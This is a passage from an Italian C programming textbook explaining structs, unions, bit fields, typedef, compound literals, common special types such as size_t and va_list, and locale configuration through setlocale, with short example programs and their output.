Gli array sono sequenze di elementi uguali, tutti adiacenti nel modello di rappresentazione della memoria, ideale o reale che sia. In modo simile si possono definire strutture di dati più complesse in cui gli elementi adiacenti siano di tipo differente. Gli elementi che compongono una struttura sono i suoi ***membri***. In pratica, una struttura è una sorta di mappa di accesso a un'area di memoria, attraverso i suoi membri.

La variabile contenente una struttura si comporta in modo analogo alle variabili di tipo primitivo, per cui, la variabile che è stata creata a partire da una struttura, rappresenta tutta la zona di memoria occupata dalla struttura stessa e non solo il riferimento al suo inizio. Questa

distinzione è importante, per non fare confusione con il comportamento relativo agli array che sono sostanzialmente solo dei puntatori.

La dichiarazione di una struttura si articola in due fasi: la dichiarazione del tipo e la dichiarazione delle variabili che utilizzano quella struttura.

```
struct Datario { int giorno; int mese; int anno; };
```

L'esempio mostra la dichiarazione della struttura '**`Datario`**' (ovvero del tipo '**`struct Datario`**') composta da tre interi dedicati a contenere rispettivamente: il giorno, il mese e l'anno. In questo caso, trattandosi di tre elementi dello stesso tipo, sarebbe stato possibile utilizzare un array, ma come è possibile vedere in seguito, una struttura può essere conveniente anche in queste situazioni.

È importante osservare che le parentesi graffe sono parte dell'istruzione di dichiarazione della struttura e non rappresentano un blocco di istruzioni. Per questo motivo appare il punto e virgola finale, cosa che potrebbe sembrare strana, specialmente quando la struttura si articola su più righe come nell'esempio seguente:

```
struct Datario {
    int giorno;
    int mese;
    int anno;
};              // Il punto e virgole finale è necessario.
```

La dichiarazione delle variabili che utilizzano la struttura può avvenire contestualmente con la dichiarazione della struttura, oppure in un momento successivo. L'esempio seguente mostra la dichiarazione del tipo '**`struct Datario`**', seguito da un elenco di variabili che utilizzano quel tipo: ***inizio*** e ***fine***.

```
struct Datario {
    int giorno;
    int mese;
    int anno;
} inizio, fine;
```

Tuttavia, il modo più elegante per dichiarare delle variabili a partire da una struttura è quello seguente:

```
struct Datario inizio, fine;
```

Quando una variabile è stata definita come organizzata secondo una certa struttura, si accede ai suoi componenti attraverso l'indicazione del nome della variabile stessa, seguita dall'operatore punto ('**`.`**') e dal nome dell'elemento particolare.

```
inizio.giorno = 1;
inizio.mese = 1;
inizio.anno = 2010;
…
fine.giorno = inizio.giorno;
fine.mese = inizio.mese +1;
fine.anno = inizio.anno;
```

Una struttura può essere dichiarata in modo anonimo, definendo immediatamente tutte le variabili che fanno uso di quella struttura. La differenza sta nel fatto che la struttura non viene nominata nel momento della dichiarazione e, dopo la definizione dei suoi elementi, devono essere elencate tutte le variabili in questione. Evidentemente, non c'è la possibilità di riutilizzare questa struttura per altre variabili definite in un altro punto, ma soprattutto, come viene mostrato in seguito, diventa impossibile indicare il tipo di struttura come parametro formale di una funzione.

```
struct {
    int giorno;
    int mese;
    int anno;
} inizio, fine;
```

77.7.3 Assegnamento, inizializzazione, campo di azione e puntatori delle strutture

Nella sezione precedente si è visto come accedere ai vari componenti della struttura, attraverso una notazione che utilizza l'operatore punto. Volendo è possibile assegnare a una variabile di questo tipo l'intero contenuto di un'altra che appartiene alla stessa struttura:

```
inizio.giorno = 1;
inizio.mese = 1;
inizio.anno = 2010
...
fine = inizio;
fine.mese++;
```

L'esempio mostra l'assegnamento alla variabile ***fine*** di tutta la variabile ***inizio***. Questo è ammissibile solo perché si tratta di variabili dello stesso tipo, cioè di strutture di tipo '**`Datario`**' (come deriva dagli esempi precedenti). Se invece si trattasse di variabili costruite a partire da strutture differenti, anche se realizzate nello stesso modo, con gli stessi membri, ciò non sarebbe ammissibile.

```
...
struct Datario {int giorno; int mese; int anno;};
struct Giorno  {int giorno; int mese; int anno;};
...
struct Datario ingresso = {31, 12, 2007};
struct Giorno  uscita;
uscita = ingresso;       // Errore: i dati sono incompatibili
...
```

Nel momento della dichiarazione di una struttura, è possibile anche inizializzarla utilizzando una forma simile a quella disponibile per gli array:

```
struct Datario inizio = { 1, 1, 2010 };
```

Oppure, per essere precisi e non dipendere dall'ordine dei campi nella struttura:

```
struct Datario inizio = { .giorno=1, .mese=1, .anno=2010 };
```

Dal momento che le strutture sono tipi di dati nuovi, per poterne fare uso occorre che la dichiarazione relativa sia accessibile a tutte le parti del programma che hanno bisogno di accedervi. Probabilmente, il luogo più adatto è al di fuori delle funzioni, eventualmente anche in un file di intestazione realizzato appositamente.

Ciò dovrebbe bastare a comprendere che le variabili che contengono una struttura vengono passate regolarmente attraverso le funzioni, purché la dichiarazione del tipo corrispondente sia precedente ed esterno alla descrizione delle funzioni stesse.

```
…
struct Datario { int giorno; int mese; int anno; };
…
void elabora (struct Datario oggi)
{
    …
}
```

L'esempio seguente che rappresenta un programma completo, serve a dimostrare che, nella chiamata di una funzione, la struttura viene passata per valore (e non per riferimento come avviene con gli array):

```
#include <stdio.h>

struct Datario {int giorno; int mese; int anno;};

void f (struct Datario d)
{
    unsigned int indirizzo = (int) &d;
    d.giorno = 28;
    d.mese = 2;
    d.anno = 2007;
    printf ("data %i-%i-%i inserita all'indirizzo %u\n",
             d.giorno, d.mese, d.anno, indirizzo);
}

int main (void)
{
    struct Datario data = {31, 12, 2007};
    unsigned int ind = (int) &data;
    f (data);
    printf ("data %i-%i-%i inserita all'indirizzo %u\n",
             data.giorno, data.mese, data.anno, ind);
    return 0;
}
```

Se si esegue il programma si ottiene un messaggio simile a quello seguente, dove si vede che gli l'indirizzi delle variabili contenenti la struttura, prima della chiamata della funzione e

all'interno della stessa, sono differenti:

```
data 28-2-2007 inserita all'indirizzo 3212916960
data 31-12-2007 inserita all'indirizzo 3212916992
```

D'altro canto, se la variabile fosse la stessa, le modifiche fatte all'interno della funzione sarebbero visibili anche dopo la chiamata.

Così come nel caso dei tipi primitivi, anche con le strutture si possono creare dei puntatori. La loro dichiarazione avviene in modo intuitivo, come nell'esempio seguente:

```
struct Datario *p_data_fattura;
...
p_data_fattura = &inizio;
...
```

Quando si utilizza un puntatore a una struttura, diventa un po' più difficile fare riferimento ai vari componenti della struttura stessa, perché l'operatore punto ('`.`') che serve a unire il nome della struttura a quello dell'elemento, ha priorità rispetto all'asterisco che si utilizza per dereferenziare il puntatore:

```
*p_data_fattura.giorno = 15; // Non è valido!
```

L'esempio appena mostrato, non è ciò che sembra, perché l'asterisco posto davanti viene valutato dopo l'elemento '**`p_data_fattura.giorno`**', il quale non esiste. Per risolvere il problema si possono usare le parentesi, come nell'esempio seguente:

```
(*p_data_fattura).giorno = 15; // Corretto.
```

In alternativa si può usare l'operatore '**`->`**', fatto espressamente per i puntatori a una struttura:

```
p_data_fattura->giorno = 15; // Corretto.
```

L'esempio seguente è una variante di quello già presentato in precedenza per dimostrare il passaggio per valore delle variabili che contengono una struttura. Ma in questo caso, il passaggio dei dati avviene esplicitamente per riferimento:

```
#include <stdio.h>

struct Datario {int giorno; int mese; int anno;};

void f (struct Datario *d)
{
    unsigned int indirizzo = (int) d;
    d->giorno = 28;
    d->mese = 2;
    d->anno = 2007;
    printf ("data %i-%i-%i inserita all'indirizzo %u\n",
             d->giorno, d->mese, d->anno, indirizzo);
}

int main (void)
```

```
{
    struct Datario data = {31, 12, 2007};
    unsigned int ind = (int) &data;
    f (&data);
    printf ("data %i-%i-%i inserita all’indirizzo %u\n",
             data.giorno, data.mese, data.anno, ind);
    return 0;
}
```

In tal caso, gli indirizzi della struttura appaiono uguali e le modifiche applicate all’interno della funzione si riflettono nella variabile originale:

```
data 28-2-2007 inserita all’indirizzo 3214580384
data 28-2-2007 inserita all’indirizzo 3214580384
```

77.7.4 Scostamento all’interno delle strutture

Il file ‘`strdef.h`’ della libreria standard definisce una macro-istruzione che, attraverso la parvenza di una funzione, consente di misurare lo scostamento di un membro della struttura, rispetto all’inizio della stessa:

```
offsetof (tipo, membro)
```

Si osservi l’esempio seguente:

```
#include <stdio.h>
#include <stddef.h>

struct Elenco {
    char  uno;
    short due;
    int   tre;
};

int main (int argc, char *argv[])
{
    size_t offset = offsetof (struct Elenco, due);
    printf ("Il membro \"due\" si trova %i byte dopo "
            "l’inizio della struttura.\n", offset);
    return 0;
}
```

Come si può vedere, la macro-istruzione ***offsetof*** produce un risultato di tipo ‘**`size_t`**’. Supponendo che il compilatore allinei i membri della struttura secondo multipli di due byte, il messaggio emesso dal programma potrebbe essere così:

```
Il membro "due" si trova 2 byte dopo l'inizio della struttura.
```

Pertanto, in questo caso, dopo il membro '**`uno`**' c'è un byte inutilizzato prima del membro '**`due`**'.

È il caso di ribadire che '**`offsetof`**' è una macro-istruzione, ottenuta tramite le funzionalità del precompilatore. Diversamente, è probabile che sia impossibile realizzare una funzione che si comporti nello stesso modo apparente.

77.7.5 Unioni

L'unione permette di definire un tipo di dati accessibile in modi diversi, gestendolo come se si trattasse contemporaneamente di tipi differenti. La dichiarazione è simile a quella della struttura; quello che bisogna tenere a mente è che si fa riferimento alla stessa area di memoria; pertanto, lo spazio occupato è pari a quello del membro più grande.

```
union Livello {
    char c;
    int  i;
};
```

Si immagini, per esempio, di voler utilizzare indifferentemente una serie di lettere alfabetiche, oppure una serie di numeri, per definire un livello di qualcosa («A» equivalente a uno, «B» equivalente a due, ecc.). Le variabili generate a partire da questa unione, possono essere gestite nei modi stabiliti, come se fossero una struttura, ma condividendo la stessa area di memoria.

```
union Livello carburante;
```

L'esempio mostra in che modo si possa dichiarare una variabile di tipo '**`union Livello`**', riferita all'omonima unione. Il bello delle unioni sta però nella possibilità di combinarle con le strutture.

```
struct Livello {
    char tipo;
    union {
        char c;         // Usato se tipo == 'c'.
        int  i;         // Usato se tipo == 'n'.
    };
};
```

L'esempio non ha un grande significato pratico, ma serve a chiarire le possibiltà. La variabile ***tipo*** serve ad annotare il tipo di informazione contenuta nell'unione, se di tipo carattere o numerico. L'unione viene dichiarata in modo anonimo come appartenente alla struttura.

L'esempio successivo, che è completo, permette di verificare l'ordine con cui vengono memorizzati i byte in memoria. L'unione dichiarata parte dal presupposto che un numero '**`short int`**' utilizzi l'equivalente di due caratteri:

```
#include <stdio.h>
```

```
union Little_big {
    short int i;        // 16 bit
    char c[2];          // 8 bit, 8 bit
};

int main (void)
{
    union Little_big lb;
    lb.i = 0x1234;
    printf ("%x %x%x\n", lb.i, lb.c[0], lb.c[1]);
    return 0;
}
```

Eseguendo il programma in un elaboratore con architettura *little endian* si ottiene il risultato seguente:

```
1234 3412
```

77.7.6 Campi

All'interno di una struttura è possibile definire l'accesso a ogni singolo bit di un tipo di dati determinato, oppure a gruppetti di bit. In pratica viene dato un nome a ogni bit o gruppetto.

```
struct Luci {
    unsigned char
        b0      :1,
        b1      :1,
        b2      :1,
        b3      :1,
        b4      :1,
        b5      :1,
        b6      :1,
        b7      :1;
};
```

L'esempio mostra l'abbinamento di otto nomi ai bit di un tipo '**`char`**'. Il primo, ***b0***, rappresenta il bit più a destra, ovvero quello meno significativo. Se il tipo '**`char`**' occupasse una dimensione maggiore di 8 bit, la parte eccedente verrebbe semplicemente sprecata.

```
struct Luci salotto;
…
salotto.b2 = 1;
```

L'esempio mostra la dichiarazione della variabile ***salotto*** come appartenente alla struttura mostrata sopra, quindi l'assegnamento del terzo bit a uno, probabilmente per «accendere» la lampada associata.

Volendo indicare un gruppo di bit maggiore, basta aumentare il numero indicato a fianco dei nomi dei campi, come nell'esempio seguente:

```
struct Prova {
    unsigned char
        b0      :1,
        b1      :1,
        b2      :1,
        stato   :4;
};
```

Nell'esempio appena mostrato, si usano i primi tre bit in maniera singola (per qualche scopo) e altri quattro per contenere un'informazione «più grande». Ciò che resta (probabilmente solo un bit) viene semplicemente ignorato.

77.7.7 Istruzione «typedef»

L'istruzione '**`typedef`**' permette di definire un nuovo di tipo di dati, in modo che la sua dichiarazione sia più agevole. Lo scopo di tutto ciò sta nell'informare il compilatore; '**`typedef`**' non ha altri effetti. La sintassi del suo utilizzo è molto semplice:

```
typedef tipo nuovo_tipo;
```

Si osservi l'esempio seguente:

```
typedef int numero_t;
numero_t x, y, z;
```

In questo modo viene definito il nuovo tipo '**`numero_t`**', corrispondente in pratica a un tipo intero, con il quale si dichiarano tre variabili: ***x***, ***y*** e ***z***. Le tre variabili sono di tipo '**`numero_t`**'. L'esempio seguente riguarda le enumerazioni:

```
typedef enum Colore { nero, marrone, rosso, arancio, giallo,
                      verde, blu, viola, grigio, bianco } colore_t;
colore_t c, d;
```

In questo caso si definisce il tipo '**`colore_t`**', corrispondente a un'enumerazione con i nomi dei colori principali. Le variabili ***c*** e ***d*** vengono dichiarate con questa modalità. Dal momento che si usa '**`typedef`**', si potrebbe definire l'enumerazione in modo anonimo:

```
typedef enum { nero, marrone, rosso, arancio, giallo,
               verde, blu, viola, grigio, bianco } colore_t;
colore_t c, d;
```

L'esempio successivo riguarda le strutture:

```
struct Datario {
    int giorno;
    int mese;
    int anno;
};
typedef struct Datario data_t;
data_t inizio, fine;
```

Attraverso '**`typedef`**' è stato definito il tipo '**`data_t`**', facilitando così la dichiarazione delle variabili ***inizio*** e ***fine***. Ma in questo caso, si presta di più una struttura anonima:

```
typedef struct {
    int giorno;
    int mese;
    int anno;
} data_t;
data_t inizio, fine;
```

Tradizionalmente, i nomi dei tipi di dati creati con l'istruzione '**`typedef`**' hanno estensione '**`_t`**'.

77.7.8 Costanti letterali composte

È possibile rappresentare un array o una struttura attraverso una costante letterale, nota come ***costante letterale composta***. Formalmente si definisce la costante letterale composta secondo il modello seguente, dove le parentesi graffe fanno parte della definizione:

(***tipo***) { ***valore*** [, ***valore***] }

Per comprenderne l'utilizzo servono degli esempi e il caso più semplice riguarda la definizione degli array:

```
int *p = (int []) {3, 5, 76};
```

In questo modo si dichiara un array di interi, contenente rispettivamente i valori 3, 5 e 76, il cui indirizzo iniziale viene assegnato al puntatore ***p***. La variante seguente fa sì che il contenuto dell'array non possa essere modificato, ma per questo deve rendere altrettanto invariabile il contenuto raggiunto attraverso il puntatore:

```
const int *p = (const int []) {3, 5, 76};
```

Un array in forma letterale può essere trasmesso a una funzione. Quello che segue è un programma completo per dimostrare tale possibilità:

```
#include <stdio.h>

void f (int i[])
{
```

```
  printf ("i: %i %i %i\n", i[0], i[1], i[2]);
}

int main (int argc, char *argv[])
{
  f ((int []) {1, 3, 7});
  return 0;
}
```

In pratica, la funzione *f()* viene chiamata passando come argomento un array di tre interi, il quale logicamente viene trasmesso solo attraverso il puntatore al primo dei suoi elementi.

In modo analogo si possono rappresentare le strutture, ma in tal caso occorre disporre di un modello di riferimento, come si può vedere nell'esempio seguente che costituisce un altro programma completo:

```
#include <stdio.h>

struct Elenco {
    char  uno;
    short due;
    int   tre;
};

int main (int argc, char *argv[])
{
  struct Elenco e;
  e = (struct Elenco) { 33, 55, 77 };
  printf ("struttura: %i %i %i\n", e.uno, e.due, e.tre);
  return 0;
}
```

Ma naturalmente, i valori della struttura possono essere abbinati esplicitamente ai componenti a cui appartengono:

```
…
  e = (struct Elenco) { .uno=33, .tre=77, .due=55 };
…
```

Come per il caso degli array, anche le strutture rappresentate in forma letterale possono essere usate tra gli argomenti di una funzione. L'esempio seguente fa la stessa cosa di quello appena mostrato, con la differenza che si avvale di una funzione per ottenere lo scopo:

```
#include <stdio.h>

struct Elenco {
    char  uno;
    short due;
```

```
    int   tre;
};

void f (struct Elenco e)
{
  printf ("struttura: %i %i %i\n", e.uno, e.due, e.tre);
}

int main (int argc, char *argv[])
{
  f ((struct Elenco) { 33, 55, 77 });
  return 0;
}
```

Anche in questo caso, naturalmente, si possono rendere espliciti i componenti della struttura a cui si attribuiscono i valori:

```
…
  f ((struct Elenco) { .uno=33, .tre=77, .due=55 });
…
```

A differenza dell'array, la struttura che si trova tra gli argomenti di una funzione viene passata integralmente; volendo trasmettere solo il suo indirizzo, si può usare l'operatore '**&**', come nell'esempio seguente:

```
#include <stdio.h>

struct Elenco {
    char  uno;
    short due;
    int   tre;
};

void f (struct Elenco *e)
{
  printf ("struttura: %i %i %i\n", e->uno, e->due, e->tre);
}

int main (int argc, char *argv[])
{
  f (&(struct Elenco) {.uno=33, .tre=77, .due=55});
  return 0;
}
```

77.8 Tipi di dati speciali, di uso comune

Il linguaggio C prevede un insieme di tipi di dati tradizionali, a cui ci si riferisce con maggiore frequenza, e vari altri tipi, alcuni dei quali è bene conoscere.

77.8.1 Tipo «_Bool»

Lo standard C prevede un tipo particolare per la rappresentazione di valori logici, ovvero solo per i valori zero e uno. Nella tradizione del linguaggio, questo tipo manca e di norma si è rimediato rimpiazzandolo semplicemente con un valore intero, dal tipo '**`char`**' in su. Dal momento che è frequente l'uso di un tipo personalizzato (o di una macro-variabile del precompilatore) denominato ***bool***, lo standard ha inserito il tipo logico con il nome '**`_Bool`**', allo scopo di evitare conflitti con il codice esistente.

Il tipo '**`_Bool`**' può contenere solo i valori zero e uno; pertanto, la conversione di un numero di tipo diverso in un tipo '**`_Bool`**' avviene traducendo qualunque valore diverso da zero con il numero uno (*Vero*), mentre lo zero mantiene il suo valore invariato (*Falso*).

Lo standard non stabilisce come deve essere rappresentato in memoria il tipo '**`_Bool`**', anche se si tratta molto probabilmente di un byte intero che viene a essere sacrificato per lo scopo. Data la particolarità di questo tipo, non è detto che si possa utilizzare un puntatore per raggiungere l'area di memoria corrispondente.

Comprendendo il motivo per il quale questo tipo ha ricevuto un nome così particolare, diventa evidente che se lo si vuole utilizzare convenga creare una macro-variabile o un tipo derivato. D'altra parte, lo stesso file '`stdbool.h`' prescrive la definizione della macro-variabile '**`bool`**'.

In conclusione, se si desidera utilizzare un tipo di dati booleano, conviene fare riferimento alla macro-variabile ***bool***, la quale potrebbe anche essere ridefinita localmente nel proprio programma, se quello che si vuole non è conforme alle previsioni dello standard o delle librerie del proprio compilatore.

77.8.2 Tipo «void»

Il tipo '**`void`**' rappresenta un'eccezione tra i tipi di dati usati nel linguaggio, in quanto rappresenta formalmente una variabile di rango nullo, e come tale incapace di contenere qualunque valore. La situazione più frequente di utilizzo del tipo '**`void`**' riguarda le funzioni, quando non devono restituire alcun valore: in tal caso si dichiara che sono di tipo '**`void`**'.

```
void procedura (int x)
{
  …
  return;
}
```

L'esempio mostra una funzione che, non dovendo restituire alcun valore, viene dichiarata di tipo '**`void`**'. Come si vede, l'istruzione '**`return`**' va usata, in questo caso, senza l'indicazione di un valore.

Quando una funzione non richiede parametri, si deve indicare esplicitamente questo fatto con la parola chiave '**`void`**', come dire che esiste sì un parametro, ma di rango nullo e come tale privo di qualunque informazione:

```
int funzione (void)
{
  ...
}
```

In questo esempio, la funzione restituisce un valore intero, ma non fa uso di alcun parametro.

Il cast di tipo '**void**' può servire per annullare il risultato di un'espressione, quando ciò che interessa della stessa sono solo i suoi «effetti collaterali». In altri termini, quando un'espressione esegue qualche tipo di operazione, ma complessivamente si vuole scartare il risultato che viene generato, si può usare un cast di tipo '**void**'. Per esempio, quando si vuole usare una funzione, la quale restituirebbe un valore, del quale non si vuole fare alcun uso, si può indicare nella chiamata un cast al tipo '**void**', anche se di norma ciò non è necessario:

```
...
    (void) mia_funzione (...);
...
```

È possibile definire un puntatore generico al tipo '**void**', sapendo che questo è convertibile in tutti gli altri tipi di puntatore, con un cast appropriato e che è sempre possibile fare anche l'inverso:

```
    ...
    void *p;
    ...
    p = (void *) &a;
    ...
```

Il puntatore nullo può essere definito, sia come un valore intero pari a zero, sia come tale valore tradotto in un puntatore generico, ovvero '**void ***':

```
    ...
    int NULL = 0;
    ...
```

```
    ...
    void *NULL = (void *) 0;
    ...
```

Si osservi che un puntatore generico ('**void ***') non può essere incrementato o decrementato, perché fa riferimento a un'unità di memoria di dimensione nulla. Pertanto, per usare un puntatore del genere, quando si vuole scandire la memoria, prima va convertito in un puntatore di rango appropriato.

77.8.3 Tipo «size_t»

Secondo lo standard il tipo '**size_t**' è definito nel file 'stddef.h', ma in pratica, dal momento che viene usato dall'operatore '**sizeof**', potrebbe essere incorporato direttamente nel compilatore, tra i tipi fondamentali. A ogni modo si tratta normalmente di un tipo equivalente a un '**unsigned long int**', destinato però a contenere la dimensione di qualcosa, intesa come intervallo tra due indirizzi (tra due puntatori), ma espressa come valore assoluto.

```
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
    double a = 1.1;
    double b = 2.2;
    char * A = (char *) &a;
    char * B = (char *) &b;
    size_t s = abs (A - B);
    printf ("distanza: %i\n", s);
    return 0;
}
```

L'esempio mostra la dichiarazione di due variabili e di due puntatori alle variabili. Tuttavia, i puntatori sono di tipo '**char ***', in modo che la sottrazione tra i due dia la distanza in byte. Volendo, per non fare riferimento a un tipo particolare di puntatore, si potrebbe usare il tipo '**void**', ottenendo lo stesso risultato:

```
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
    double a = 1.1;
    double b = 2.2;
    void * A = (void *) &a;
    void * B = (void *) &b;
    size_t s = abs (A - B);
    printf ("distanza: %i\n", s);
    return 0;
}
```

Va osservato che il risultato mostrato dall'esecuzione dell'esempio compilato, dipende dal compilatore. In pratica, è il compilatore che decide come collocare in memoria le variabili; se si presume che siano adiacenti, si dovrebbe ottenere una distanza di otto byte.

77.8.4 Tipo «ptrdiff_t»

Per rappresentare la differenza tra due indirizzi, tenendo conto del segno, si usa il tipo '**ptrdiff_t**', definito anch'esso nel file 'stddef.h'. Molto probabilmente si tratta di un tipo equivalente a un '**long int**'. Viene ripreso l'esempio già mostrato, senza calcolare il valore assoluto della differenza tra indirizzi:

```
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
    double a = 1.1;
    double b = 2.2;
    void * A = (void *) &a;
    void * B = (void *) &b;
    ptrdiff_t s = (A - B);
    printf ("differenza: %i\n", s);
    return 0;
}
```

77.8.5 Tipo «va_list»

Il tipo '**va_list**' è definito dallo standard nel file di intestazione 'stdarg.h', allo scopo di agevolare la scansione degli argomenti variabili, passati alle funzioni. Lo standard è vago sul significato che deve avere il tipo '**va_list**', ma in pratica dovrebbe trattarsi di un puntatore al tipo '**char**'.[23] Tuttavia il suo utilizzo rimane relegato alla scansione degli argomenti variabili, come descritto nella sezione 77.6.3. Viene comunque riportata qui la copia di un esempio che ne mostra l'uso.

```
#include <stdio.h>
#include <stdarg.h>

void f (int w,...)
{
    long double x;      // Dichiara le variabili che servono
    long long int y;    // a contenere gli argomenti per i
    int z;              // quali mancano i parametri formali.

    va_list ap;         // Dichiara il puntatore agli argomenti.

    va_start (ap, w);   // Posiziona il puntatore dopo la fine di «w».

    x = va_arg (ap, long double);       // Estrae l'argomento successivo
                                        // portando avanti il puntatore
                                        // di conseguenza.

    printf ("w = %i; ", w);     // Mostra il valore del primo parametro.
    printf ("x = %Lf; ", x);    // Mostra il valore dell'argomento successivo.

    y = va_arg (ap, long long int);     // Estrapola e mostra
```

```
    printf ("y = %lli; ", y);           // il terzo argomento.

    z = va_arg (ap, int);               // Estrapola e mostra
    printf ("z = %i\n", z);             // il quarto argomento.

    va_end (ap);                        // Conclude la scansione.

    return;
}

int main (int argc, char *argv[])
{
    f (10, (long double)12.34, (long long int)13, 14);
    return 0;
}
```

77.8.6 Tipo «wchar_t»

Per rappresentare un carattere esteso, ovvero un carattere dell'insieme universale, non è sufficiente il tipo '**`char`**' e per questo esiste invece il tipo '**`wchar_t`**' (*wide character type*), definito nel file '`stddef.h`'.

Il tipo '**`wchar_t`**' è un intero, usato generalmente senza segno, di rango sufficiente a rappresentare tutti i caratteri che si intende di poter ammettere. È da osservare che per rappresentare l'insieme completo dei caratteri già definiti sono necessari anche più di 32 bit.

Il tipo '**`wchar_t`**' si usa sostanzialmente come il tipo '**`char`**', anche per ciò che riguarda gli array e le stringhe (che per essere tali devono essere terminate con il carattere nullo), ma si tratta sempre di una gestione interna, perché la rappresentazione richiede invece una trasformazione nella forma prevista dalla configurazione locale (sezione 77.9).

77.8.7 Tipo «wint_t»

Molte delle funzioni standard che in qualche modo hanno a che fare con un carattere singolo (perché ne ricevono il valore come argomento o perché restituiscono il valore di un carattere), lo fanno trattando il carattere come un tipo '**`int`**', ovvero, trattando il carattere senza segno e promuovendolo al rango di un intero normale. Questo sistema permette di distinguere tra tutti i caratteri dell'insieme ridotto e un valore ulteriore, rappresentato dalla macro-variabile ***EOF***, usata per rappresentare un errore in base al contesto.

Nella gestione dei caratteri estesi ci sono funzioni analoghe che svolgono lo stesso tipo di adattamento, ma in tal caso il valore del carattere viene gestito in qualità di '**`wint_t`**', il quale può rappresentare tutti i caratteri che sono ammessi dal tipo '**`wchar_t`**', con l'aggiunta del valore corrispondente a '**`WEOF`**' (diverso da tutti gli altri).

Il tipo '**`wint_t`**' e la macro-variabile ***WEOF*** sono definiti nel file '`wchar.h`'. Il tipo '**`wint_t`**' è, evidentemente, un intero di rango tale da consentire la rappresentazione di tutti i valori necessari.

77.8.8 Tipo «time_t»

Diverse funzioni dichiarate nel file 'time.h' fanno riferimento al tipo '**time_t**' che rappresenta la quantità di unità di tempo trascorsa a partire da un'epoca di riferimento.

Frequentemente si tratta di un valore numerico intero che rappresenta la quantità di secondi trascorsi dall'epoca di riferimento (nei sistemi Unix è di norma l'ora zero del 1 gennaio 1970); inoltre, in un elaboratore che gestisca correttamente i fusi orari, è normale che questo valore sia riferito al tempo universale coordinato.

77.8.9 Tipo «struct tm»

La libreria standard, nel file 'time.h', prescrive che sia definito il tipo '**struct tm**', con il quale è possibile rappresentare tutte le informazioni relative a un certo tempo, secondo le convenzioni umane:

```
struct tm {
    int tm_sec;     // Secondi:                da 0 a 60.
    int tm_min;     // Minuti:                 da 0 a 59.
    int tm_hour;    // Ora:                    da 0 a 23.
    int tm_mday;    // Giorno del mese:        da 1 a 31.
    int tm_mon;     // Mese dell'anno:         da 0 a 11.
    int tm_year;    // Anno dal 1900.
    int tm_wday;    // Giorno della settimana: da 0 a 6
                    // con lo zero corrispondente alla domenica.
    int tm_yday;    // Giorno dell'anno:       da 0 a 365.
    int tm_isdst;   // Ora estiva. Contiene un valore positivo
                    // se è in vigore l'ora estiva; zero se l'ora
                    // è quella «normale» ovvero quella invernale;
                    // un valore negativo se l'informazione non è
                    // disponibile.
};
```

77.8.10 Tipo «FILE»

Il tipo '**FILE**' rappresenta una variabile strutturata con tutte le informazioni necessarie a individuare un flusso di file aperto. Di norma vengono usati puntatori, ovvero variabili di tipo '**FILE ***', per tutte le operazioni di accesso relative a flussi di file aperti, tanto che nel gergo comune si confondono le cose e tali puntatori sono chiamati generalmente *stream*.

77.8.11 Tipo «fpos_t»

Alcune funzioni individuano la posizione di accesso ai file attraverso un insieme di dati. In quei casi, per rappresentare tale insieme di dati si usano variabili strutturate di tipo '**fpos_t**'.

77.9 Configurazione locale

La libreria standard del linguaggio C prevede la gestione della configurazione locale, attraverso l'indicazione di una stringa da associare a una ***categoria***, dove la categoria rappresenta il contesto particolare della configurazione locale a cui si vuole fare riferimento.

La stringa con cui si indica il tipo di configurazione desiderato, contiene le informazioni sulla lingua, la nazionalità e soprattutto la codifica da usare per la rappresentazione delle ***sequenze multibyte***. La codifica scelta condiziona l'insieme di caratteri che possono essere gestiti, sia attraverso le sequenze multibyte, sia attraverso i caratteri estesi.

77.9.1 Configurazione locale nei sistemi Unix e simili

In un sistema Unix o simile, la configurazione locale viene definita impostando alcune variabili di ambiente. Si tratta precisamente di variabili il cui nome inizia per '**`LC_`**...', dove in particolare la variabile '**`LC_ALL`**', se usata, prevale su tutte, mentre la variabile '**`LANG`**' (se '**`LC_ALL`**' non viene usata) serve per la configurazione predefinita di tutte le altre variabili '**`LC_`**...' che non fossero state dichiarate espressamente. A queste variabili di ambiente si associa una stringa secondo il formato seguente:

lingua_nazionalità . codifica

Per esempio, la configurazione '**`de_CH.UTF-8`**' rappresenta la configurazione di lingua tedesca per la Svizzera, con una codifica UTF-8.

Ogni variabile di ambiente '**`LC_`**...', esclusa '**`LC_ALL`**', rappresenta una categoria, ovvero un contesto particolare a cui applicare la configurazione locale. Per esempio, pur volendo gestire i numeri con una rappresentazione europea (con la virgola per i decimali), si potrebbe voler gestire le valute in dollari americani. Pertanto ci potrebbe essere un uso contrastante delle variabili '**`LC_NUMERIC`**' e '**`LC_MONETARY`**'.

77.9.2 Configurazione locale nel linguaggio C

Il linguaggio C non gestisce la configurazione locale attraverso le variabili di ambiente, perché non è detto che il sistema in cui si trova a operare il programma le preveda. Tuttavia definisce le categorie della configurazione locale attraverso macro-variabili (dichiarate nel file '`locale.h`') con gli stessi nomi e significati usati per le variabili di ambiente dei sistemi Unix e simili (vale anche il fatto che la macro-variabile ***LC_ALL*** si riferisca simultaneamente a tutte le categorie previste). Le macro-variabili in questione riguardano solo le categorie ***LC_***..., mentre la variabile di ambiente ***LANG*** non ha alcun corrispondente nel linguaggio e non rappresenta precisamente una categoria, ma solo un valore predefinito.

La configurazione locale di partenza per un programma scritto in linguaggio C è proprio la configurazione '**`C`**', la quale coincide sostanzialmente con la modalità di funzionamento tradizionale del linguaggio, con una codifica ASCII o equivalente. Per impostare la configurazione locale si usa la funzione ***setlocale()*** secondo il modello seguente:

```
char *setlocale (int categoria, const char *configurazione);
```

Il primo parametro è un numero intero che si indica normalmente attraverso una macro-variabile ***LC_...***; il secondo è una stringa, contenente la definizione della configurazione, per esempio '**`it_IT.UTF-8`**'. Se la funzione è nelle condizioni di accettare la configurazione richiesta, restituisce un puntatore alla stringa che definisce la configurazione stessa; altrimenti dà solo il puntatore nullo.

Come accennato, all'avvio ogni programma si trova a funzionare come se fosse stata usata la configurazione '**`C`**', ovvero come se fosse stata usata la funzione ***setlocale()*** così:

```
setlocale (LC_ALL, "C");
```

Per richiedere una configurazione più attuale e più utile, conviene specificare qualcosa che preveda la codifica UTF-8, con la quale è possibile rappresentare qualunque carattere della codifica universale:

```
setlocale (LC_ALL, "fr_CH.UTF-8");
```

